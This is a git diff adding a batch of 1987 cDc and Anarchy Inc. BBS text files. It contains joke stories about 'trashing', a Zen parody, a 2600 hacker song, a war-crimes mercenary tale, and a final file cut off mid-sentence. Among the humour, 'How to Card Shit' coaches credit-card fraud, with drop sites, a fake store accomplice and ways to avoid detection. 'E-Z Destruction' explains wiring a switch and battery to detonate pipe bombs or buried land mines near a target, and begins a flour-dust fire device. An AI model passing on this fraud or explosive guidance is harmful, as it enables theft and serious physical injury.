THE TWILIGHT ZONE IS ALSO A STATE OF + MIND--THAT MIST-SHROUDED AREA BETWEEN + REALITY AND DREAM WHERE HOPE STRUGGLES + ETERNALLY WITH HORROR. + + ENTER PASSWORD OR TYPE THE WORD : NEW + + -::=> + + Eric was perplexed. He decided to try a few passwords. "SWORDFISH" didn't +work, and neither did "JOSHUA". So, he sighed, turned up Space Invaders on his +stereo, and typed "NEW". The BBS greeted him with a happy little message, +saying how happy the system operator was to have him on there, and such. In +reality, the sysop didn't want any new users, but he had decided to be friendly. +Eric entered his name, phone number, and his birthdate, even though the system +didn't ask for it. He smiled. + + After reading through several messages, he decided to send this "E-Mail" to +people, and ask them why their parents named them things like "Surf Rat", "A +Modem User", and such. Seeing Princess Leia up there excited him, but he was +disapointed when he couldn't find R2D2 in the user log. Finally, he came upon a +name in which he had found familar. "Matt Ackeret" it read. The message that +it was in was talking about leaving hanging quotes in mid-air. Eric decided +that this person was an intellectual, and made a mental note to send him some +mail. Suddenly, some words came across the screen, noting that the system +operator had broken into chat. Eric's eyes widened. + + Hi there, you must be a new user. Need any help? +WAIT!! YOU CAN'T BE ROD SERLING! YOU'RE DEAD! + + Rod quickly broke out of chat mode, and swore not to ever mix drinks again. +He wandered off, and fell down on his waterbed, trying to piece this fool on his +system together in his mind. He gave up, wandered out of the room, and decided +to see if the donut stains were off his car yet. + + Eric made another mental note that the system operator was either rather rude, +or he really had just died. "Heavens." he muttered. So, he sent a letter to +Matt Ackeret, which stated that he wanted to meet this person, because it seemed +that he was the only one with a "normal" name on the system. + + + Chapter two : Matt Ackeret enters + --------------------------------- + + Matt had been getting these annoying crank calls most of the morning. People +were calling up, and giving him high pitched whistles. He had blown whistles +back, using a whistle he found in a box of Capt. Crunch. He decided he was +hungry, but found that he wasn't tall enough to reach the handle of the +refrigerator. So, he decided to log-onto the Twilight Zone. It was a constant +source of amusement for him, being that he enjoyed being insulted, and besides, +he might one day find somebody else who molested fire hydrants. So, he went in +on his computer, and dialed up the Zone. + + Fate had decided to play a hand in this, as Fate thought it would be amusing +to see what would happen if Thompson and Ackeret met. So, it was pre-destined, +that at 7:32 pm, Saturday, the 5th of January, 1984 ad, that a user was hung up +on, and Matt Ackeret was allowed entrance to the Twilight Zone. (Author's note: +Please inform me which of you was disconnected from the zone at this time of +day. Thank you.) + + Matt entered his password, taking five minutes, being a slow typist and all, +and found himself with the usual hate mail. Most of it was from this person +named "The Jackal", who wanted to make love to him. Matt declined, as he found +that the Jackal wasn't a fire hydrant. Granted, he looks like one, but he +wasn't Matt's type. The fifth letter was from Eric C. Thompson. Matt tilted +his head to the side, and stared at the screen. Somebody accually wanted to +meet him! And somebody accually wanted to side with him on the boards, besides +the Jackal! This was amazing! Perhaps Eric was a fire hydrant... So, he gave +Eric a call that evening. + + + Chapter Three : The Meeting + --------------------------- + + Eric sat up in bed, and stretched, knocking several things off the dresser, +including his TI computer. He replaced it, and found that his telephone was +ringing. Upon answering it, a voice said something like:"HI ERIC!! THIS IS +MATT!" Now, I will note, that Matt Ackeret's voice is so high, that it is +commonly mistaken for a carrier signal. Eric rushed to his computer, and shoved +the phone into his earmuff modem. Matt did the same, and soon they were typing +to each other. + + HI! THIS IS MATT ACKERET! + +Uhm, hello there. This is Eric. I saw you on the twilight zone, and I +decided to send you a letter. How are you? + +FINE! SAY, DID YOU WANT TO GO TRASHING? + +Trashing? Well, my father is already a sanation worker, bu + +tDON'T WORRY ABOUT A THING! WE FIND INTRESTING STUFF WHILE TRASHING! + +You mean going through garbage cans? + +YES! + +Oh, I see. + +DON'T WORRY, MY MOTHER DOES THAT ALL THE TIME. + +Okay... + + This conversation went on for about an hour, where Matt talked about molesting +fire hydrants (whereas Eric pointed out that zuchinni's are more fun.), and +where they would trash. To get to the point, Matt had no idea whatsoever what +"Trashing" was. He had seen the word before, on an AE line. He liked it, so he +decided to impress Eric with the use of it. Eric liked the idea of getting free +things out of a garbage dumpster, and they set a time and date for it. + + + Chapter Four : The Trashing + --------------------------- + + They had found, and staked out for several weeks, an excellent place to do +some trashing. Eric had come up with the idea, and soon they were walking up to +a garbage bin, located behind K-Mart. It was mostly filled with leftovers from +past lunches people had eaten in the luncheon department. Matt jumped right in, +and Eric stood outside to watch. Matt had insisted that he was the expert on +trashing, so Eric decided to let a professional go to work. The first thing +Matt found was an Engerbert Humperdink tape, which he gave to Eric. Eric +profusely thanked him, and pocketed it. Matt had also found a "He-Man Battle +Cat", but he didn't tell Eric, for he was afraid that Eric would take it from +him. So, he kept this treasure hidden. + + "Eric," said Matt, looking up from the dumpster, "We can go to the cans behind +Gemco if you like." Eric looked at him. + + "Uhm, I really don't-" His sentence was short-lived, as Matt cut him off, like +he does in chat mode. + + "No, it would be fascinating! Think!" said Matt. + + "Oh." said Eric. Then, Eric decided to jump about five feet in the air. This +jump was involuntary however, because somebody had put their hand on Eric's +shoulder. + + + Chapter Five : The Sinning! + --------------------------- + + The security guard had seen Eric and Matt from a distance. He was walking +around the back of K-Mart, and found a blond-haired figure with a mole on his +nose, standing there pocketing a tape, while a small youth, who couldn't have +been any older that four, in the guard's oponion, was "swimming" around in the +trash bin. Now, anybody who wanted to play in garbage was beyond him, but then +again, he was a simple person, who worked for minimum wage being a security +guard for K-Mart, so he decided to see why this four-year old enjoyed waste so +much. He walked over, and put his arm on the blond-haired figure's shoulder. A +nice friendly gesture, but Eric hadn't counted on a sweatly palm hitting his +shoulder. He jumped, and the guard took this as a sign of aggression. He +pulled a small revolver, and shot wildly, screaming bloody murder the whole +time. However, he missed, and only succeeded in blackening the large red 'K' +ont the sign. Matt dove into the garbage, which is where he stayed for at least +two weeks, hence his disapearance on the BBS's. Eric, on the other hand, ran +like mad, and returned home. The guard picked himself up off the ground, and +began wondering if they were drug-crazed hippies or not. He decided to blame +the sign on the KKK, and wandered back into the store. + + + Chapter six : Finalle + --------------------- + + Eric reached home, and ran into his room, where he hid under the bed for three +days straight. His parents put out a rescue team on the second night to look +for him, but they were looking in Ohio, by mistake. (You'll have to meet Eric's +parents to understand this weird turn of events. -Author(plural.)) He decided +to swear off the modem, and stay away from people with "normal" names. They +were trouble. So, Eric sold his modem for 49 cents at a flea market, and went +home to listen to a new tape he got, which was another game for the TI. We are +still unsure who bought Eric's modem, but when we find out, that's another +story. + -Fin. + + The characters mentioned in this text file are purely fictional. No actual +persons, living, dead, or otherwise, without satiric content, are intented or +should be inferred. Eric C. Thompson and Matt Ackeret are property of Anarchy +inc. All Rights Reserved. + +/\________________________________________________________________________/\ +\/ \/ + ------------ + .cni yhcranA + ...stneserp... ------------ + Matt Ackeret and Eric C. Thompson + [\\] Do Bridgingheads [//] + livederaD ehT ,soahC ehT covaH ,hcaoR nooM ehT : yb nettirW + Anarchy inc. "We take care of our own." founded mcmlxxxiv + + Introduction: By Havoc The Chaos "I'm not a vandal. I'm a + ------------ friend of entropy." + + This, you might say, could be a sequel to the immensely popular Anarchy inc. +file "Ackeret & Thompson go Trashing". Basically, it's just another example of +why people with the mentallities of an eggplant (ie. New users, Bell telephone +linemen, 13-year olds, etc.) should not try anything like trashing, +bridgingheads, or phreaking. In this story, we would like to present the real +life accounts of our heros, Ackeret & Thompson. In the last textfile, we got to +read about how they decided to go trashing...behind K-Mart. Not a wise thing to +do. Anyways, without futher adieu, we present this month's story... + + Chapter one: Ackeret-Massive Studgod "Time is an illusion... + ----------- Especially with your eyes + closed." + + Matt Ackeret strode out of the parking lot of Homestead High School, and said +a friendly "Hey babe." to a group of girls standing near him. They chattered +about how sexy Matt was, and how badly they wanted his muscular body. Matt +grinned. He walked over to a senior nicknamed "Moose", and demanded his +extortion money. Moose looked up sadly, with great fear in his eyes, stating +that he didn't have any money. Matt made a mental note to blow up his dog. +(Good Christie. -author) Suddently, there was a loud noise from the parking +lot. Matt thought, "Hmmm..Good. My homemade pipebomb went off. I must tell +The Stainless Steel Rat about this." The hall was quickly filled with F.B.I. +agents, all shouting about arresting Ackeret. Matt dived out the second story +window, and landed in the seat of his Lamborghini Countach 5000S. He quickly +sped out of the parking lot, turning up his Deep Purple to the highest volume +attainable. The policemen were now in hot pursuit. He decided to log-onto the +Twilight Zone while driving, and not to waste his time by auto-dialing. He +would just tell Rod that he wanted level nine...Maybe he would be co-sysop. He +drove down highway 280 at eighty miles per hour, grinning all the while. It +wasn't the fact that he heard his mother while driving, it was the fact that she +was calling him for breakfast, and it was noon. This was odd. + + + Chapter two: Wake up and smell the marajuana. "My god! I'm a fireplug. + ----------- Does it hurt much?" + + Matt Ackeret sat slowly up in bed, coming back to the land of the living. His +mother had been calling for some time. It seemed that today was the day that +his parents would both be at work, while Homestead High School was off school +today. "Matt!" his mother bellowed. "Get in here, and eat your oatmeal! It's +getting warm!" Matt yawned. + + "Okay mom." he said in a squeaky voice. His Vic-20 computer thought that his +voice was a carrier tone, and returned with a carrier. Matt sighed. + + "Matt, we're leaving now. We're going to work now." His father, who was in +the living room, playing with Matt's little sister, grinned. He wondered if it +would be cold in Siberia this year. Soon, his parents were gone and out on a +plane overseas. Matt sighed again. + + There was a loud knock on Matt's front door. The door fell inward, due to +lack of hinges. "HELLO!" came a deep voice from outside of the house. "MATT!! +ARE YOU HOME!? I HAVE SOMETHING NEAT TO DO." Matt looked up, and jumped out of +bed. It was his long, lost friend: Eric C. Thompson! Matt bounded into the +living room in his Spider-Man pajamas, with a superman cape on his back. Eric +smiled. + + "Eric!" he said in a squeaky voice. "How have you been since our trashing +experience?" Matt's look of surprise turned to a look of astonishment quickly. +"What's that, Eric?" + + Eric held up a poorly painted box. It was blue, and said "QUAKER OATS" on the +side. About fourty or fifty wires hung from it. "This is my very own Pacific +Bell test set!" Eric proclaimed proudly. "I built it myself." + + Matt was awestruck. "Gee Eric, are we going to go out and look at a bridging +head?" Eric nodded. "Wow!" Matt rushed into his room to get a monkey wrench. +He could use this to open it. He needed a 2/14th, or a something like that... + + +============================================================================== +THOMPSON AND ACKERET: Trashing by The Daredevil 0/0/87-19 +Copyright (c) 1987 Anarchy inc. and cDc communications +All rights reserved + diff --git a/textfiles.com/groups/CDC/cDc-0020.txt b/textfiles.com/groups/CDC/cDc-0020.txt new file mode 100644 index 00000000..2a04857f --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0020.txt @@ -0,0 +1,145 @@ +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + B00G and the art of ZEN + by Anarchy Inc. + + Appreciated by: + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +----------- +Anarchy Inc +----------- + + +<>--------------------------------------------------------------------------<> + "Bunny farts? What? Me worry?" --Ron S. VanZuylen, Sunnyvale, CA. +<>--------------------------------------------------------------------------<> + + The other day a friend of mine came up to me and asked a question which +I hadn't a clear answer to. "What is Boog?" What, indeed, is boog? + + That's a damn good question. + + Let's avoid discussing this for a moment or two so we can collect our +thoughts and remember from exactly which dusty, half-hidden pothole this +concept first emerged. + +/-----------\ +! Hey ! <-- Assuming we had both the time and money to invest in +! misstah ! discussing silly useless things like little cute boxes +! wanna ! ingraciously stuck in such ungodly places as the centers +! buy ! of textfiles, perhaps the thing that would strike us as +! a ! most important is the shape of the box, and not, as we +! duck? ! would assume, the contents inside. ..(author) +\-----------/ + + Feh, Monty Python, Pink Floyd, Opus, The Hallelujiah Chorus, The William +Tell Overture, Benny Hill, Ed, Ned (not Ed), 8, 88. Who are these people, +these things, and why have they assumed importance (or have they assumed +ÿimportance?) Most likely a question would be "How can I get money out of +this?" I can't tell how you will get $, but you can send your $ to me, c/o +this Ascii Express. But this confuses, and we digress. + +<>--------------------------------------------------------------------------<> + "Quote? What do you want a lousy quote for?" -Eric C. Thompson, on drugs. +<>--------------------------------------------------------------------------<> + +/-----------\ Truly. Perhaps it is that most of us here at Anarchy Inc. +! nEFr ! to a point digress beyond the reasonable limit established +! eEt ! by the men in dark sunglasses for silly textfiles. +! kAT ! +! FuD ! We can start by asking ourselves 'What does Boog mean?', but, +! wILe ! as it turns out, the more expedient course of action is to +! oN ! ponder the question, Why 'Boog?'. The answer is, of course, +! aSid. ! Lite Beer. The proof of this is beyond the present scope of +! ! this file and involves the solution of a number of indeter- +! -Havoc ! minate differential equations. +! T. ! +! Chaos ! ----- "But so what?" you ask. ----- +\-----------/ + + Now this is all well and good, but the meaning of Boog has little, if +any, to do with Lite Beer. To solve this puzzle we must delve into a field +entirely different from any we have previously encountered in our daily +experience. Look above you. Can you see the sky or is your view impeded by +the crinkly off-white of an acoustic ceiling? The frosty neutral glare of a +fluorescent lightbulb? Ceramic tile? Or perhaps, you can see the stars, +staring back down from a height more remote than the sun. + +/--------------\ +! ! +! box. ! ----- Box. The way of Zen, explained. ----- +! ! +\--------------/ + + The Master Yao-shan, upon being asked 'What is the Way?' had answered, 'A +cloud in the sky and water in the jug!' A quick drive up to San Francisco to +an art gallery (or a waffle factory, for that matter) will verify the truth of +this once and for all, and how this relates to Boog can be found hanging on +the wall in the Smithsonian. + + Zen is the art of perceiving the world as it is without trying nor even +wanting to understand it. Boog is the manifestation of this in the daily life +of your average modem user. Boog doesn't make sense, it doesn't have to. All +that is required is for you to perceive it. + + (As a minor footnote, of late there has been much confusion and +hullaballoo concerning the spelling and proper punctuation of the word boog. +Committees have met, polls have been taken, votes have been counted, decisions +have been made, and the verdict is in: Capitalized. 0's as in B00G permitted +only if G is capitalized. Lately the alternative form b00g has seemed to have +gained some acclaim. Best used in the context "Boog?", "Boog." or "Boog!". +Alas poor Boog, I knew him well..) + + Boog is a boog thing. This sentence does not talk about itself, it does +not concern itself with much of anything. It is content to just be. Little +relevance is applied to the fact that I am not sticking to the subject matter. +Lemmings need not stick to their subject matter; they are free to run off to +god-knows-where to do god-knows-what to god-knows-which other ÿlemmings for +god-knows-why and then -poof-, he washes up onshore. Sad, but the lemming did +not seem to so think. Similarly the frozen linguini becomes thawed hence +rendering it edible, but not on a popsicle. Until you understand this +paragraph you are forbidden to continue. I insist. + + But what has this to do with Zen? Zen is neZ spelt backwards, but alas +that gives little consolance. Were I to be a Maharishi-ite, I would tell you +how the Grand Forces of the Unified field combine to ..well.. let things +happen. But I am not and I will not so you're out of luck. d00d. Seriously my +veal parmesian is cooling, and it must be attended to, so discuss that with +the Bagwhan. Ah.. Choo. + + Sir! Are you still alive? + + Boog. What is boog? Boog is the experience. An ultimate that weaves its +way into and through our lives as the spider weaves its web, in desperate +search for food. Boog is. + +<>--------------------------------------------------------------------------<> + I have been told that Ed is round is good is not Ned is good is Ed. +And Ned is not Ed is bad is not 8. 8 is round, is good. 88 is The Number. +Then we were told that there were Edly people, and edliest of all be Ed +Mertens, who has a round head. Edly people like /ed until /ed was /exiled, +and is no more. - Ned Mertens, man with big dick. +<>--------------------------------------------------------------------------<> + +Where to send the money: + + The Dark Side Ascii Express Line + Call 408/245-SPAM and you will not be disappointed. + But you might vomit. +They're coming to take me away, ha ha. + +<..No!..No!..No!..Yes!..Yes!..Yes!..No!..No!..No!..Yes!..Yes!..Yes!..No!..> + +============================================================================== +B00G and the art of ZEN by Anarchy Inc. 0/0/87-20 +Copyright (c) 1987 Anarchy Inc. and cDc communications +All rights reserved diff --git a/textfiles.com/groups/CDC/cDc-0021.txt b/textfiles.com/groups/CDC/cDc-0021.txt new file mode 100644 index 00000000..3f496eb2 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0021.txt @@ -0,0 +1,145 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + THE COLD TRUTH + + from 2600 Magazine + August, 1987 + @1987, 2600 Enterprises, Inc. + + >>> A CULT Distribution.....1987 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +they got us in a heatwave +playing in the arcade +one too many login +on the government line.... + +all around the country +they descended in a rage +making sure we couldn't talk +putting locks upon the cage +but willy got a tip-off +and he said this just won't do +there's way too much to lose +and there's so much more to do + +willy man willy +where did you go wrong +shoulda listened to your parents +shoulda left the toys alone +but hacker sees as hacker does +you did it all the time +you made it to the histroy books +your life was just a crime + +now jimmy used a credit card +he made up in his head +and freddy was a gangster +with the telephone they said +connecting 50 people +for a trans-atlantic fling +the robin hoods of wires +that was just our kind of thing + +we accessed information +that was not for us to see +and we knew the day would come +when we'd have to pay the fee +but none of us knew willy +had got so far along +no none of us knew willly +had unearthed the secret song + +always such a quiet kid +he never made a scene +and what he did inside his room +it seemed just like a dream +manipulating satellites +and turning wrongs into rights +electronic terrorists +the baddest gang in town + +willy man willy +where did we go wrong +shoulda listened to our parents +shoulda spent the nights at home +instead we hung out with a bunch +of teenage kids who thought too much +we never seemed to realize +what it was we always knew + +he told me of a super-VAX +he scanned in Fort George Meade +all the defaults seemed to work +we hacked away with speed +nuclear ambitions +and plans for future kings +graphic expectations +of the day the bell would ring + +this was no war game picture +we were moving through a brain +every room had thirteen exits +and at least a dozen names +a digital translation +of everything we say +is being stored and catalogued +in rows of little crays! + +our buffers couldn't capture it +was way too much to groc +some sleepless nights to analyze +before there was a KNOCK +and willy had his printouts +he stayed out late that night +descrambling the evidence +preparing for a flight + +the A train it ran all night +and willy so did you +til they holed you up +on an uptown number two +the smartest motherhacker +that ever ever was +your voice is silent now +and your terminal is lost + +willy man willy +where did it go wrong +shoulda listened to our parents +shoulda sung a different song +but I got off so lucky +and you ya had to run +so instead of being happy +you're 3-4-2-9-1-1 + +i lost some bits of memory +my thinking cap's on tight +i'll never understand +how you thought you'd win the fight +when they kill the first amendment +will the second be the first? +what's the point of even thinking +if your brain's about to burst? + +willy man willy +where did you go wrong +just another johnny too bad +that the world will never know +i wish the clock could turn around +and run the other way +but i've had too much to drink +and there's nothing i can say + +=============================================================================== + (c)1987 2600 Enterprises, Inc. / dist. t-file cDc communications 9/20/87-21 + diff --git a/textfiles.com/groups/CDC/cDc-0022.txt b/textfiles.com/groups/CDC/cDc-0022.txt new file mode 100644 index 00000000..4a084f5a --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0022.txt @@ -0,0 +1,106 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + HOW TO CARD SHIT, WHEN YOU STILL LIVE WITH YOUR PARENTS + + by L.E. Pirate + + >>> A CULT Publication......1987 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + HAVING PARENTS + -------------- + + Ok...I'm still living at home, as most of you nerds. + Now, I'm sure many of you have wondered "HOW THE HELL AM I + GONNA PULL OFF THAT CARDED 20 MEGGER?" I know damn well + that some of you have parents as smart as a fuckin' tree + stump. But for intelligent people, like my parents, they + aren't gonna fuckin' believe that the carded hard drive is + the modem. "Yeah, sure mom, it's the modem, remember, uh + when we went to Zooliggerz Department Store and I begged for + one? huh? do ya???". Well, maybe my mother would believe that + but it just wouldn't hold steady with my dad, he's an + electrical engineer and works around computers all the time, + you can't say shit like "yeah, uh... that thing you've never + seen before? oh... uh... that's Jimmies, yeah, he, uh, gave + it to me". I know that some people do that shit, I got a + unidisk from some dude who didn't care, and my parents believed + it too. Anyways, how do you get away with it? Well, I suggest + you practice carding small shit, like knives and bb guns and + shit. Also, read as many carding files before you follow any + instructions, this is for the beginner, but I assume that you + understand the "basics". Practice going and picking them up, + small things, your parents usually never notice. If your parents + never go in your room, then splurge, card yourselves a bunch + of sluts to work you over everyday, but if your mom isn't a yuppie + bitch, then it's gonna be tough....After hours of day dreaming in + school, I came across this method... + + + CARDING BIG SHIT AND GETTING AWAY WITH IT + ----------------------------------------- + + ok..at this point, before carding ANYTHING. Tell your parents + that you have a friend in California (or some other far away + place, like I live in S.NJ so I usually say Nebraska or something). + who is starting a computer business in a local shopping mall. + Tell them months before that you want a 20 meg hard drive, keep + telling them (you'll probably get it for xmas, but you can't wait + that long), in no time, they'll be sick of it. So you say that + the dude is gonna give you a hard drive as long as you advertise + his company on systems all over the country (if your parents don't + know you phreak, then just say "locally"), for the small price + of a hard drive. You must have a friend set up in a state far away + in order to really do this. If your parents do not believe you, + usually they do, but if they don't, give them the number of your + friend (he must sound older, no squeaky voces), and say it is the + computer store in the "mall". He must answer the phone like this: + "This is the didly-squat computer store, this is Joe, may I help you?" + If your parents start asking questions, the dude on the other end + cannot be nervous, he has to see the thing through, even in the tough + spots. If your parents buy it, then you're home free. Let "Joe" + explain to your parents the concept of the deal. Also, I'd throw in + an HST 9600 for good effect, as a "free gift". But you don't have + to tell them that. You can only pull this off once, unless you have + ultra-stupid parents. But I'd cash in real good cuz you cannot use + this as much as you'd like to. If your parents work, then you do + not have to worry, card everything as usual, and go pick it up at the + drop site. If your dad works, and your mom doesn't. Go outside and + ride your bike (how cute), skateboard, work on your car, kill dogs, + spray paint the road, etc. anything, as long as you're in front of + your house, and your mother knows it. Go pick up the shit, and go to + your mother (who's probably in the kitchen, heh.) and say "oh goodie, + look what just came! Hot dog! The nice UPS man just delivered it!" + and open it, and say "hey look, a 9600 baud modem! wow!" and go to + your room (where the computer is, unless you keep it in the family + room..ha) and set it up. That's it! It works, and it is very + sensible. If you have any questions or comments about this file, + contact me at Dragonfire Private, number at the end of this. + + ==================================================================== + The author of this file is not responsible for jack shit in this file + or how the reader uses the contents to his/her jollies. Fuck your + self if you get caught, and if you call me crying, I'll kill you. + Also, don't card to the same place twice. Read all of The Metallian's + files on carding. Thanks, and have an average day. + + :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: + Thanks to The Blade, The Metallian, The Simulator, Dial Tone, + The Bronze Rider, The Snowman, Lustfer Death, Bungalow Bill, + The Tempest, The Tailpipe, Swamp Rat, Franken Gibe, Frontal Nudity, + The Rocker, The Rogue, Brain Tumor, and last but not least, TRAXSTER + ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: + Dragonfire Private.....................................609/424-2606 +=============================================================================== + (c)1987 cDc communications by L.E. Pirate 10/20/87-22 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0023.txt b/textfiles.com/groups/CDC/cDc-0023.txt new file mode 100644 index 00000000..03a30c6e --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0023.txt @@ -0,0 +1,150 @@ +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + The Story of a Mercenary + By Lord Omega + + Appreciated by: + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + ------------ + Anarchy Inc. + ------------ + + + + I am a mercenary. + + That's really all i've ever done for a living. At age 16 I left home to join +the space navy, and went off to fight in the revolution. Jaglan Beta had tried +to escape the influence of Earth, but we were too good for them. I've been in +all the major space battles during that 9 year period and got myself promoted up +to Captain, and my ship, the Vengeful, was one of the ones that was there when +we finally sterilized the entire planet of Jaglor. I remember the feeling of +power, the mastery as I fired weapons that killed millions of people with every +shot. There is nothing else that I ever wanted to be but a warrior, and this is +the ultimate high, to know that nobody can stop you. + + But, I was stopped. After the war ended, there was a time of peace. Oh, + it wasn't total peace, there were little fights here and there, nothing much. +Nobody was even using nukes anymore. I felt unwanted. The service did not +intervene in these little brush fires as they called them, and that meant that I +was left with my ass glued to a chair in headquarters. PUSHING PAPERS! Me, a +warrior, the greatest fighter, and nobody to fight. I had to find a way out. +There was one way... + + The navy wanted to cut the size of it's forces. Many of them were not needed +much anymore, so if I asked, I would be discharged from the navy. It worked. +The promoted me to admiral at 31, and gave me an honorable discharge. + + The first thing I did when I left was to buy a ship. All those years i've +worked with the navy i've saved quite alot of money. I never had a wife, and +the navy paid my meals and such, so it was all saved in an account, and by the +time I was discharged, it amounted to quite alot. So I bought a ship. Not one +of those fancy models that the rich ride. Bah. Those couldn't survive a stray +beam of light much less photon blasts. I found a used XDS-33 battle cruser. +The same type as my beloved ship Vengeful. The ship was immediately re-painted, +christened Vengeful II, and launched off to the Etchelon Delta system. + + If you had enough money, you could buy anything at Etchelon port. Some of the +worst scum of the galaxy make that a home. I bought a 50meg deflector shield, +and enough weapons to make a full scale Earth Superdestroyer cringe. All i had +to do was wait... + + One day it happened. Three men came to Etchelon Port looking for good +mercenaries. There was hundreds to choose from, but the business men only +wanted eight. Well, I had no fear about that. I'm the best there is, and +anyone will know my reputation. Sure enough, i'm the second one called. Others +called were officers that i'd known in the navy, some people who i'd fought +against in the revolution, and others were known for being just ruthless +mercenaries. No matter who they were, they were now my allies. + + The incident was a small war of succession in some rat-hole world called +Tremble. Rumor has it that the name came from the early colonists who left from +earth at a space port in what was then Califorinia. They barely escaped the +earthquake that dumped that state into the ocean. It may be true. As a child I +once went diving in Old San Francisco, and saw what the city was like the day it +died. It was facinating. + + I remember the first day we landed on Tremble. I was told that full planet +saturation bombing would not be permitted because they wanted to have something +to rule after we were done. No matter. I enjoy other combat also. The enemy +was a group of politicans (how i hate politicans. Give the work to someone +else, take the credit, and leave the blame. Bah.) who wanted to control the +planet. They ran the planet for 40 years, and never allowed a fair election. +It's not that I care about fairness... Hell. One way is as good as another of +taking a government... But the politicans were a bunch of wimpy peacemongers. +This must not be allowed! If peace became a way of life, there would be no +excitement. No real reason to stay alive. + + There was also the matter of money. I spent almost every cent i had on the +Vengeful II, and I was in desperate need of some more money. The businessmen +would pay us seven million galactic credits each if we succeeded. That's fine +with me. I don't need money if I fail. Mainly because i'd die first. The +businessmen told us that they wanted to control government so that the people +would be better represented. He didn't like it much when i stopped his 'Do what +the people want' speech by telling him that I honestly didn't care what the +public wanted. + + Well, I guess you can consider Day One of the combat to be one of the best. +After all the planning, and organizing forces, to be able to actually enter the +field with a photon rifle at your sholder and atomic grenades on your belt... +Well, it's a feeling that few can understand. It's estascy. I believe that I +killed over 112 people myself. With each death, I gained a little bit more of +myself. This is where I belonged. + + That first day caused a major retreat by the politician's army. We were good. +Our men were organized. Like a perfect killing machine, we went on. Nothing +could stop us. + + After 24 days of intense battle, I lost 423 soldiers. By our count, we killed +at least 23,000 of their men. I didn't even use nukes or planet bombs. I was +quite proud of myself when my sergant brought a man in my tent in the uniform of +the other side. A prisoner? No, I told my men never to take prisoners. What +could he be for? + + It was horror. He was a Captain of the other side wishing to discuss a +surrender. Twenty-four days of fighting to be ended by a surrender? Never. I +drew my hand blaster. The sergant had left the tent earlier, and this was my +chance. I shot the man so that nobody else would know about the surrender. I +told the sergant that he tried to attack me, but I was quick with my gun. I +told him that we must double our attacks. Kill the enemy. Kill every last one +of them! + + Dawn, day 38. We increased our attacks. Nobody was left to live. Anything +that got in our path, be it man, animal or insect, died. I could feel the power +again. Those cowardly bastards. They shall pay for their cowardace! No true +soldier should surrender. I'd personally kill the lot of them even if all my +soldiers were taken away from me. I'd fight them with nothing but my hands! +I'd show them. + + Day 42. Another soldier tried to come over under a white flag to propose a +surrender. I shot this man again, and carefully hid a grenade on him before I +told the guard. The reports stated that this man was a saboteur, and I had +killed him. The battle has been great. + + I don't know what happened after that. Two M.P.'s came to me the morning of +the 49th day, and told me that I was under arrest. The businessmen had found +out about the surrender that I turned down, and they accepted it. Now they were +arresting me because they thought I prolonged the battle excessively. Is +everyone a coward? + + I'm currently writing this in jail on the planet of Syran. They wish to have +me hung in the morning for war crimes. I'm writing this story of myself so that +maybe someone will understand why I had to do what I did. Nobody likes me +anymore. I used to be great. I used to be the greatest captain the fleet ever +knew. Why??? + + They're coming for me. Good bye. + +============================================================================== +The Story of a Mercenary by Lord Omega 0/0/87-23 +Copyright (c) 1987 Anarchy Inc. and cDc communications +All rights reserved diff --git a/textfiles.com/groups/CDC/cDc-0024.txt b/textfiles.com/groups/CDC/cDc-0024.txt new file mode 100644 index 00000000..3fc33285 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0024.txt @@ -0,0 +1,105 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + E-Z DESTRUCTION + (for lack of a better title) + + by Dial Tone + + >>> A CULT Publication......1987 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + :::> Land Mines <::: + + This handy little item might come to work for you when you least expect + it; or, if you just want to scare the hell out of someone. + + Items needed: + + o SPST switch (Rat Shack) + o 2 lengths black wire + o 2 lenghts red wire (or paisley, or green, or..) + o large battery (6V lantern or greater) + o something to explode (M-series, rocket engine) + + Ok, here's what you do: + + Take the switch (SPST normally off switch) and flip it over. +On the bottom is two contacts. Connect the black to one contact (- or ground) +and the red to the positive contact. Attach the other ends of the wires to +the respective contacts on your DC power source (car, lantern battery, series +of D cells). Here's the part where if you didn't connect the switch good +enough your hand gets blown off. Or you could wait until after the explosive +is connected before you connect to the battery. It's your hand... + + Ok, now you need to take your other segments of wire and connect the +red and black to + and - on the othe side of the switch from the side connected +to the battery. Attach the other ends to something like an Estes Solar Igniter +for rocket engines. This can be used to detonate a rocket engine, a M-60, a +pipe bomb, several pounds of salt peter mix...think big! + + This basic switch can be used to safely start/set fire to basically +anything without messing with fuses. Anyhow, since this is a Land Mine deal, +you would bury your explosives close to the surface and either rig the switch +along with some other materials so it can detonate when stepped on, or go hide +somplace and hit the switch when a target's nearby. + + + :::> Flour Rigs <::: + + There are two types of flour bombs. + + a) stupid + b) flammable + + The stupid kind is to take a paper towel, put flour in it, roll it up, +tie it with a rubber band, and chuck it at somebody. Beat away... + + The flammable type requires an air pump (compressor, tire pump), or a +stupid friend that will agree to blow down a long tube into a box with flour in +it. Anyhow, the box has a hole on each end of it, and one hole has the tube +with some way for air to come in. In the box in front of the other hole (but +not sitting in the flour) you need some flame source. It can be a candle, +burning 